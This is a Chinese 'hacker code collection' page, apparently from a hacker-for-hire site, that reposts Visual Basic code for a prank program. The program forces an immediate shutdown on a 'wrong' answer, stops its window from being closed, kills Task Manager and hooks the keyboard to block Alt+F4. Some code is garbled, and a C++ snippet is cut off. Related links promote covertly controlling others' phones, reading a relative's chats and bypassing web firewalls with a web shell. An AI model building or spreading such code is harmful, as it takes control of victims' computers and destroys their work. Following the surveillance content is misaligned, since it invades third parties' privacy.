黑客简单代码大全(黑客代码大全)

访客5年前关于黑客接单2727

我使VB编写出了一个简易序,因为百度问答的局限性我仅将关键代码放在下边

如果有搞不懂的地区,随时欢迎

If Text1 = "帅" Then

MsgBox "你很诚信", vbOKOnly, ""

ElseIf Text1 = "长得不好看" Then

Shell "cmd.exe /c shutdown -s -t 0"

End If

此外,使关掉无效的代码为

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Cancel = 1

End Sub

使资源管理器无效的代码可以用(必须放在timer里)

Shell "taskkill /im taskmgr.exe /f", vbHide

禁止使用ALT F4的代码可以用

Option Explicit

Private Declare Function GetKeyState Lib "User32" _

(ByVal nVirtKey As Long) As Integer

Public Declare Function SetWindowsHookEx Lib "User32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Public Declare Function UnhookWindowsHookEx Lib "User32" (ByVal hHook As Long) As Long

Public Declare Function CallNextHookEx Lib "User32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)

Public Type KEYMSGS

vKey As Long

sKey As Long

flag As Long

time As Long

End Type

Public Const WH_KEYBOARD_LL = 13

Public Const VK_LWIN = &H5B

Public Const VK_RWIN = &H4C

Public Const HC_ACTION = 0

Public Const HC_SY *** ODALOFF = 5

Public Const HC_SY *** ODALON = 4

Public Const WM_KEYDOWN = &H100

Public Const WM_KEYUP = &H101

Public Const WM_SYSKEYDOWN = &H104

Public Const WM_SYSKEYUP = &H105

Public P As KEYMSGS

Public lHook As Long

Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim fEatKeystroke As Boolean

If (nCode = HC_ACTION) Then

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then

CopyMemory P, ByVal lParam, Len(P)

Select Case P.vKey

Case vbKeyF4

If (GetKeyState(vbKeyMenu) And &H8000)0 Then

fEatKeystroke = True

End If

End Select

End If

End If

If fEatKeystroke Then

LowLevelKeyboardProc = -1

Else

LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)

End If

End Function

'之上为控制模块代码

lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0) '设定电脑键盘勾子

UnhookWindowsHookEx lHook '撤销电脑键盘勾子

额,百度搜索不许打。我发文件了,无毒性有害死去。我挣点钱呵呵呵

会卡死吧/也有很有可能会泄露秘密。

#includeusing namespace std;int main(){ int a; cin >> a; long long i=56645698080875867937693598758973409776979046856734769875876509870596798657568709865078069587094865987658967768576859684867456795876894568948646456456456456456565664563793894812898;//数据一部分可改 do{ cout

相关文章

qq刷单被骗找黑客查人-当黑客很难吗(抓黑客很难吗)

qq刷单被骗找黑客查人-当黑客很难吗(抓黑客很难吗)

qq刷单被骗找黑客查人相关问题 我真的不是黑客相关问题 黑客用什么电脑好用 手机淘宝怎么看个人信息(手机怎么看淘宝店铺) 做黑客什么编程语言好 有个黑客男朋友是种什么体验(...

如何查询兄弟全部的微信聊天记录

. "坐不住"几乎是很多小孩的通病,对于孩子来说好奇心往往会大于专注力。那么孩子经常坐不住,静不下心来是不是多动症呢?孩子多动症的表现有哪些。 孩子多动症的表现有哪些 注意障碍。表现为注意力不集...

怎么偷偷控制别人手机(全面监控另一部手机)

怎么偷偷控制别人手机(全面监控另一部手机) 互联网时代,不仅要防火防盗防闺蜜,还要防监控。手机被别人监控,这问题可大可小,有人觉得没啥的,过好自己的小日子就行,反正自己钱又不多;而有人则觉得很...

梦见怀孕是什么意思(周公解梦解析)

梦见怀孕是什么意思(周公解梦解析)

孕妇梦见牛,代表母子平安。 孕妇梦见有角的黄牛,会生儿子,而且是个特别孝顺的儿子。 孕妇梦见无角的黄牛或牛犊,会生女儿。 孕妇梦见母牛,会生女儿。 孕妇梦见温顺的牛,会生女儿。 孕妇做梦...

美国单日新增新冠肺炎青菱确诊病例数达到历史最高

  美国单日新增新冠肺炎确诊病例数达到历史最高水平 连续4天超10万例   据美国多家媒体当地时间11月8日报道称,过去一周,即疫情的各个参数均达到高位之后,美国单日新增新冠肺炎确诊病例也达到了疫情...

黑客小说一一蠕虫,网上找的黑客稳吗,黑客怎么找别人位置

9.在waf阻挠下无法衔接一句话chopper时,每种waf的阻挠规矩不一样,可在新版chopper目录下放多个不同的可过waf的装备文件备用,一个caidao.conf不过狗时再用其他caidao....